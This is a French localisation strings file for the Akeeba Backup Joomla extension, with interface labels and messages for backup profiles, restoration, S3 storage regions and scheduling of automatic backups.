COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Description du profil"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Saisissez une description pour ce profil. Elle n&apos;a pas besoin d&apos;être unique et sert uniquement à vous aider à distinguer les différents profils."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Chaque profil de sauvegarde est un ensemble d'options de configuration et d'options de filtres d'inclusion &amp; d'exclusion. Il indique à Akeeba Backup quoi sauvegarder, comment le faire et où stocker les archives de sauvegarde."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Sélectionnez un fichier .json de profil exporté depuis ce site ou un autre site pour importer rapidement ses paramètres."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Profil importé avec succès"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="%d profils de sauvegarde ont été supprimés."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="Le profil de sauvegarde a été supprimé."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="La sauvegarde en un clic a été activée pour %d profils."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="La sauvegarde en un clic a été activée pour le profil."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="La configuration et les filtres de %d profils de sauvegarde ont été réinitialisés."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="La configuration et les filtres du profil de sauvegarde ont été réinitialisés."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="La sauvegarde en un clic a été désactivée pour %d profils."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="La sauvegarde en un clic a été désactivée pour le profil."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Modifier un profil de sauvegarde"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="Nouveau profil de sauvegarde"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Tableau des profils de sauvegarde"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="Vous ne pouvez pas supprimer le profil actuellement actif. Veuillez aller sur la page du Panneau de contrôle, sélectionner un profil différent, puis revenir sur cette page pour supprimer le profil #%d."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="Vous ne pouvez pas supprimer le profil par défaut (celui dont l'identifiant est 1)"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="Vous n'avez pas accès à ce profil de sauvegarde"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="Akeeba Backup a détecté que la sauvegarde de votre site \"%s\" situé dans %s a échoué."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="Akeeba Backup a détecté que la sauvegarde de votre site \"%s\" situé dans %s a échoué. Le message d'échec de la sauvegarde est :\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Échec de la sauvegarde pour %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="Akeeba Backup a terminé avec succès la sauvegarde de votre site \"%s\" situé dans %s le %s."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Sauvegarde réussie pour %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="Akeeba Backup a terminé la sauvegarde de votre site \"%s\" situé dans %s le %s, mais des avertissements ont été émis. Cela peut signifier que certains fichiers n'ont pas été sauvegardés ou, si vous chargez automatiquement la sauvegarde vers un stockage distant, que le chargement a peut-être échoué.\nVous devez examiner les avertissements et vous assurer que votre sauvegarde s'est terminée avec succès. Nous vous conseillons de toujours tester une sauvegarde ayant généré des avertissements pour vous assurer qu'elle fonctionne correctement. Vous pouvez le faire en la restaurant sur un serveur local. N'oubliez pas qu'une sauvegarde non testée vaut autant qu'aucune sauvegarde."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Sauvegarde terminée avec des avertissements pour %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="Akeeba Backup a commencé à sauvegarder le site \"%s\" situé dans %s le %s."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Sauvegarde démarrée pour %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="Exclusion de tables de base de données par expressions régulières"
COM_AKEEBABACKUP_REGEXFSFILTERS="Exclusion de fichiers et répertoires par expressions régulières"

COM_AKEEBABACKUP_REMOTEFILES="Gestion des fichiers stockés à distance"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Supprimer"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="Impossible de supprimer le fichier stocké à distance. L'erreur était : "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="Impossible de télécharger le fichier. L'erreur était : "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="Impossible d'ouvrir le fichier local %s en écriture ; abandon du processus de téléchargement"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="Vous avez déjà supprimé le fichier stocké à distance. Vous devez transférer à nouveau le fichier pour que les fonctionnalités de téléchargement et de suppression de fichier distant soient à nouveau disponibles."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="Vous avez déjà récupéré le fichier stocké à distance sur le serveur de votre site. Sélectionnez l'enregistrement de sauvegarde et cliquez sur Supprimer les fichiers pour supprimer le fichier stocké sur le serveur de votre site et réactiver ce bouton."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="Identifiant de téléchargement spécifié invalide"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Désolé, le moteur de stockage distant que vous utilisez ne prend pas en charge le téléchargement ou la suppression de fichiers stockés à distance."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="Vous avez déjà supprimé les fichiers stockés à distance en utilisant Akeeba Backup."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="Aucune opération sur les fichiers distants disponible"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="Cette fonctionnalité n'est actuellement pas prise en charge par le moteur de post-traitement utilisé par l'enregistrement de sauvegarde actuel."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Récupérer sur le serveur"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Opération en cours"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="Chargement, veuillez patienter."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="L'opération que vous avez demandée est en cours d'exécution."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="Vous recevrez une mise à jour sur sa progression dans quelques secondes ou au plus en trois minutes."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Téléchargé %u octets sur %u octets au total (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Télécharger sur votre ordinateur"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Téléchargement de votre jeu de sauvegarde depuis le stockage distant vers le serveur local terminé"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="Les fichiers stockés à distance ont été supprimés avec succès"
COM_AKEEBABACKUP_REMOTEFILES_PART="Partie #%u"

COM_AKEEBABACKUP_RESTORE="Restauration du site"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="La sauvegarde #%d sera restaurée"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Restaurer une sauvegarde va <em>remplacer</em> votre site par le snapshot de site contenu dans l'archive de sauvegarde. Toutes les modifications apportées à votre site depuis le moment de la sauvegarde seront <em>perdues définitivement</em>. Veuillez vérifier que vous restaurez bien la bonne archive de sauvegarde."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="L'archive de sauvegarde est introuvable"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="Impossible d'écrire restoration.php. Veuillez vous assurer que le répertoire <code>administrator/components/com_akeebabackup</code> est accessible en écriture."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Enregistrement de sauvegarde invalide"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Type de fichier invalide. La restauration intégrée ne fonctionne qu'avec les fichiers JPA et ZIP."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="Aucune sauvegarde n'a été effectuée avec le profil #%d ou l'archive de sauvegarde n'est pas présente sur votre serveur. Veuillez utiliser la page Gérer les sauvegardes pour identifier vos sauvegardes, les récupérer sur votre serveur (si elles sont stockées à distance) et les restaurer."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Octets extraits"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Octets lus"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Veuillez <strong>NE PAS</strong> naviguer vers une autre page, passer à un autre onglet ou une autre fenêtre du navigateur, ni passer à <em>une autre application</em> tant que vous ne voyez pas un message de fin ou d'erreur. Assurez-vous que votre appareil ne passe pas en mode veille pendant l'extraction de l'archive de sauvegarde."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Méthode d'extraction des fichiers"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Écrire directement dans les fichiers"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Utiliser la couche FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Hybride (écriture directe, couche FTP uniquement si nécessaire)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="L'extraction a échoué"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="L'extraction de l'archive de sauvegarde a échoué.<br/>Le dernier message d'erreur était :"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="Fichiers extraits"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Finaliser la restauration"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="Options de la couche FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Extraction de l'archive en cours"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Durée maximale d'exécution (secondes)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="Les fichiers seront extraits pendant au maximum ce nombre de secondes à chaque étape. Augmentez cette valeur pour accélérer l'extraction. Diminuez-la pour éviter les délais d'expiration du serveur."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Durée minimale d'exécution (secondes)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Chaque étape d'extraction de fichiers ne se terminera pas avant ce nombre de secondes. Définissez une valeur supérieure au paramètre maximum ci-dessous pour ajouter un « temps mort » à chaque étape, réduisant ainsi l'utilisation des ressources."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Conseil</strong> : Pour restaurer sur un serveur distant, sélectionnez l'option « Utiliser la couche FTP » et renseignez les informations de connexion FTP de votre serveur distant dans les Options de la couche FTP ci-dessous.<br/>Utilisez l'option Hybride et fournissez les informations de connexion FTP du site actuel si la restauration échoue en raison de fichiers non accessibles en écriture."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Exécuter le script de restauration du site"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Démarrer la restauration"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="L'extraction s'est terminée avec succès"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="Vous devez maintenant exécuter le script de restauration Akeeba Backup qui a été inclus dans votre archive de sauvegarde au moment de la sauvegarde. <em>Ne fermez pas cette fenêtre !</em>. Une fois la restauration terminée, fermez la fenêtre du script de restauration Akeeba Backup et cliquez sur le nouveau bouton Finaliser la restauration ci-dessous pour supprimer le répertoire <code>installation</code> et commencer à utiliser votre site restauré."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="Si, toutefois, vous restaurez sur un site distant, ne cliquez <em>sur aucun</em> des boutons. À la place, visitez l'URL du script de restauration à l'adresse <code>http://<var>www.votresite.com</var>/installation/index.php</code>. Une fois la restauration terminée, cliquez sur le lien « Supprimer le dossier d'installation » sur la dernière page du script de restauration ou, si cela échoue, supprimez le répertoire <code>installation</code> de ce site en utilisant votre application FTP préférée."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Paramètres de synchronisation (avancé)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Tout supprimer avant l'extraction"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Tente de supprimer tous les fichiers et dossiers existants sous le répertoire racine de votre site avant d'extraire l'archive de sauvegarde. Cela ne tient PAS compte des fichiers et dossiers présents dans l'archive de sauvegarde ni des fichiers et dossiers exclus lors de la sauvegarde. Les fichiers et dossiers supprimés par cette fonctionnalité NE PEUVENT PAS être récupérés. <strong>AVERTISSEMENT ! CELA PEUT SUPPRIMER DES FICHIERS ET DOSSIERS N'APPARTENANT PAS À VOTRE SITE. CETTE FONCTIONNALITÉ EST RÉSERVÉE AUX UTILISATEURS TRÈS EXPÉRIMENTÉS QUI COMPRENNENT LES RISQUES. UTILISEZ-LA AVEC UNE EXTRÊME PRUDENCE. EN ACTIVANT CETTE FONCTIONNALITÉ, VOUS ASSUMEZ L'ENTIÈRE RESPONSABILITÉ. DE PLUS, VOUS RENONCEZ À TOUT DROIT DE DEMANDER UNE ASSISTANCE À AKEEBA LTD.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Activer le mode furtif pendant la restauration"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="Les visiteurs de votre site provenant d'une adresse IP différente de la vôtre seront temporairement redirigés vers <code>installation/offline.html</code>, un fichier leur indiquant que votre site est en cours de maintenance. Fonctionne uniquement sur les serveurs prenant en charge les fichiers <code>.htaccess</code>. Veuillez lire la documentation pour plus d'informations."

COM_AKEEBABACKUP_S3IMPORT="Importer des archives depuis S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="Impossible d'ouvrir le fichier temporaire que nous venons de créer ; votre serveur présente un problème que nous ne pouvons pas contourner"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="Impossible d'écrire dans votre répertoire de sortie ; veuillez vérifier les permissions"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="Informations insuffisantes pour se connecter à S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="Le fichier est introuvable dans votre compartiment S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Changer de compartiment"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Se connecter à S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="- Compartiment -"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="L'archive a été importée avec succès sur votre site"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="Façon dont l'API accède au compartiment. En cas de doute, utilisez l'hébergement virtuel. L'hébergement virtuel est la méthode recommandée et prise en charge pour Amazon S3, qui utilise une URL du type https://BUCKET.ENDPOINT pour accéder au compartiment. L'accès par chemin est une méthode non prise en charge et dépréciée qui utilise une URL du type https://ENDPOINT/BUCKET pour accéder au compartiment. Vous ne devez utiliser l'accès par chemin que si un fournisseur de stockage tiers avec une API compatible Amazon S3 vous le demande."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Accès par chemin (hérité)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Accès au compartiment"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Hébergement virtuel (recommandé)"
COM_AKEEBABACKUP_S3_REGION_TITLE="Région Amazon S3"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Choisissez la région S3 où se trouve votre compartiment. Veuillez consulter http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>ATTENTION ! En raison de l'API d'Amazon, vous DEVEZ sélectionner l'emplacement de votre compartiment lorsque vous utilisez la méthode de signature v4. La méthode de signature v4 est OBLIGATOIRE pour tous les compartiments créés dans toute région mise en ligne après janvier 2014, tels que Francfort et São Paulo.</strong> Il s'agit d'une restriction d'Amazon, pas d'Akeeba Backup. Merci de votre compréhension."
COM_AKEEBABACKUP_S3_REGION_NONE="Aucune (ATTENTION ! À UTILISER UNIQUEMENT AVEC LA MÉTHODE DE SIGNATURE v2)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Personnalisée / Aucune"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="Afrique, Sud (Le Cap)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Asie-Pacifique, Est (Hong Kong)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Asie-Pacifique, Nord-Est (Tokyo)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Asie-Pacifique, Nord-Est (Séoul)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Asie-Pacifique, Sud-Est (Osaka)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Asie-Pacifique, Sud (Mumbai)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Asie-Pacifique, Sud (Hyderabad)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Asie-Pacifique, Sud-Est (Singapour)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Asie-Pacifique, Sud-Est (Sydney)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Asie-Pacifique, Sud-Est (Jakarta)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Asie-Pacifique, Sud-Est (Melbourne)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Canada (Centre)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="Chine, Nord (Pékin)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="Chine, Nord-Ouest (Ningxia)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Europe, Centre (Francfort)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Europe, Centre (Zurich)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Europe, Nord (Stockholm)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Europe, Sud (Milan)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Europe, Sud (Espagne)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Europe, Ouest (Irlande)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Europe, Ouest (Londres)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Europe, Ouest (Paris)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Moyen-Orient, Centre (Émirats arabes unis)"
COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Moyen-Orient, Sud (Bahreïn)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="Amérique du Sud, Est (São Paulo)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="US Est (Virginie du Nord)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="US Est (Ohio)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="US Ouest (Californie du Nord)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="US Ouest (Oregon)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (US-Est)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (US-Ouest)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Archive profonde"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Hiérarchisation intelligente"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="Zone unique - Accès peu fréquent"
COM_AKEEBABACKUP_S3_RRS_RRS="Stockage à redondance réduite"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Stockage standard"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Standard - Accès peu fréquent"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Spécifiez la méthode de signature des requêtes. Utilisez v4 en cas de doute. Vous devrez peut-être utiliser v2 avec des services de stockage tiers (c'est-à-dire lorsque vous spécifiez un point de terminaison personnalisé)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Méthode de signature"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (mode hérité, fournisseurs de stockage tiers)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (préféré pour Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Région Amazon S3 personnalisée"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Définissez l'option ci-dessus sur « Personnalisée / Aucune » et saisissez ici le nom de la région que vous souhaitez utiliser, par exemple <code>us-east-1</code> pour US Est (Virginie du Nord).<br/>Ceci est destiné à être utilisé avec les nouvelles régions S3 que nous n'avons pas encore listées ci-dessus ou avec des services tiers compatibles S3 qui utilisent l'API S3 v4 et leurs propres noms de région personnalisés spécifiques au service."

COM_AKEEBABACKUP_SCHEDULE="Planifier des sauvegardes automatiques"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Tâches planifiées Joomla"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="Vous pouvez créer des tâches de sauvegarde en utilisant la fonctionnalité Tâches planifiées de Joomla. Veuillez d'abord lire la documentation pour comprendre les compromis et les problèmes potentiels selon la façon dont vous choisissez de déclencher les tâches planifiées de Joomla."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Gérer vos tâches planifiées"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="Les tâches planifiées ne sont disponibles que sur Joomla 4.1 et versions ultérieures"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="Joomla a introduit la fonctionnalité Tâches planifiées dans Joomla! version 4.1.0. Veuillez mettre à jour votre site vers la dernière version de Joomla pour accéder aux tâches planifiées."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="Le plugin « Tâche – Akeeba Backup » est désactivé."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY="Le plugin « Tâche – Akeeba Backup » doit être activé pour que les tâches planifiées de Joomla sachent comment exécuter des sauvegardes avec Akeeba Backup. Veuillez aller dans Système, Gérer, Plugins et activer le plugin. Vous pouvez également cliquer sur le bouton suivant pour modifier le plugin directement."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Modifier le plugin"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Tâches CRON alternatives en ligne de commande"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="Cette méthode est recommandée uniquement si la tâche CRON normale en ligne de commande ne se termine pas. Bien qu'elle s'exécute via l'application console de Joomla, elle passe par l'application web de Joomla — en utilisant la méthode de sauvegarde frontale d'Akeeba Backup — ce qui la rend plus lente que la méthode CLI native."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>Lorsqu'une sauvegarde planifiée échoue, cela signifie généralement que PHP a cessé de fonctionner avant la fin de la sauvegarde. Par conséquent, Akeeba Backup ne peut pas vous notifier de l'échec de la sauvegarde de la même manière qu'il vous notifie lorsque la sauvegarde se termine avec succès ou avec des avertissements.</p><p>Pour résoudre ce problème, vous pouvez planifier les vérifications de la dernière sauvegarde pour qu'elles s'exécutent après la fin prévue de votre sauvegarde. Vous n'êtes pas sûr de quand ce serait ? Idéalement, cela devrait correspondre à la durée de la dernière sauvegarde réussie enregistrée dans la page Gérer les sauvegardes, plus une demi-heure.</p><p>Vous pouvez planifier cette vérification avec de nombreuses méthodes différentes, tout comme la sauvegarde elle-même. Vous trouverez ci-dessous plus d'informations sur chaque méthode de planification disponible pour les vérifications de sauvegarde. Si vous n'êtes pas sûr de laquelle utiliser, nous vous recommandons d'utiliser la même méthode de planification que pour vos sauvegardes.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Vérifier l'état des sauvegardes"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Tâches CRON en ligne de commande (recommandé)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="Il s'agit de la méthode recommandée pour tous les serveurs prenant en charge les tâches CRON en ligne de commande. Cette méthode utilise l'application console (CLI) de Joomla — au lieu de l'application web de Joomla ! — permettant d'atteindre une vitesse de sauvegarde maximale."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Important"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="N'oubliez pas de remplacer <em>%s</em> par le chemin réel vers l'exécutable PHP <strong>CLI (Interface en ligne de commande)</strong> de votre hébergeur. Gardez bien à l'esprit que vous devez utiliser l'exécutable PHP CLI ; l'exécutable PHP CGI (Interface de passerelle commune) ne <em>fonctionnera pas</em> avec l'application CLI de Joomla. En cas de doute sur ce que cela signifie, veuillez contacter votre hébergeur. Ce sont les seules personnes pouvant fournir cette information."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="Akeeba Backup a détecté que le chemin <em>le plus probable</em> vers PHP CLI est <code>%s</code> et l'a utilisé dans la ligne de commande affichée ci-dessus. Si cela ne fonctionne pas, veuillez remplacer <code>%1$s</code> par le chemin réel vers l'exécutable PHP <strong>CLI (Interface en ligne de commande)</strong> de votre hébergeur. C'est une information que votre hébergeur sera en mesure de vous fournir."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Fonctionnalité de sauvegarde frontale"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="Cette méthode utilise une URL publique et une clé secrète pour déclencher une sauvegarde de votre site. La sauvegarde progresse au moyen de redirections HTTP. Veuillez noter que la plupart des services CRON basés sur URL des hébergeurs, ainsi que la plupart des services CRON tiers basés sur URL, ne prennent pas en charge les redirections HTTP. Si les exemples avec wget et curl ci-dessous ne fonctionnent pas pour vous, veuillez utiliser l'URL de sauvegarde frontale avec le service tiers très abordable webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="La fonctionnalité de sauvegarde frontale peut être utilisée avec une grande variété de méthodes. Cliquez sur les onglets ci-dessous pour voir la description de chaque méthode. N'oubliez pas que toutes sont expliquées en détail dans notre documentation."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="Script PHP"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Fonctionnalité de vérification de la sauvegarde frontale"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="Planification CRON avec curl (macOS, Linux, certains hébergeurs) :"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Script PHP personnalisé pour exécuter la sauvegarde frontale :"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="La fonctionnalité de sauvegarde frontale d'Akeeba Backup n'est pas activée. Vous ne pouvez pas utiliser cette méthode de planification sans l'activer. Veuillez aller dans le Panneau de contrôle d'Akeeba Backup, cliquer sur le bouton Options dans la barre d'outils et activer la fonctionnalité de sauvegarde frontale. N'oubliez pas de spécifier également un mot secret de votre choix."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL à utiliser avec vos propres scripts et services tiers :"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="La clé secrète de la fonctionnalité de sauvegarde frontale est vide. Vous ne pouvez pas utiliser cette méthode de planification sans créer une clé secrète. Veuillez aller dans le Panneau de contrôle d'Akeeba Backup, cliquer sur le bouton Options dans la barre d'outils et saisir une clé secrète de votre choix."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Configuration d'une tâche de sauvegarde avec WebCron.org :"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Alertes"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="Si vous avez déjà configuré des méthodes d'alerte dans l'interface de webcron.org, nous vous recommandons de choisir une méthode d'alerte ici et de ne pas cocher « Uniquement en cas d'erreur » afin de toujours recevoir une notification lorsque la tâche CRON de sauvegarde s'exécute."
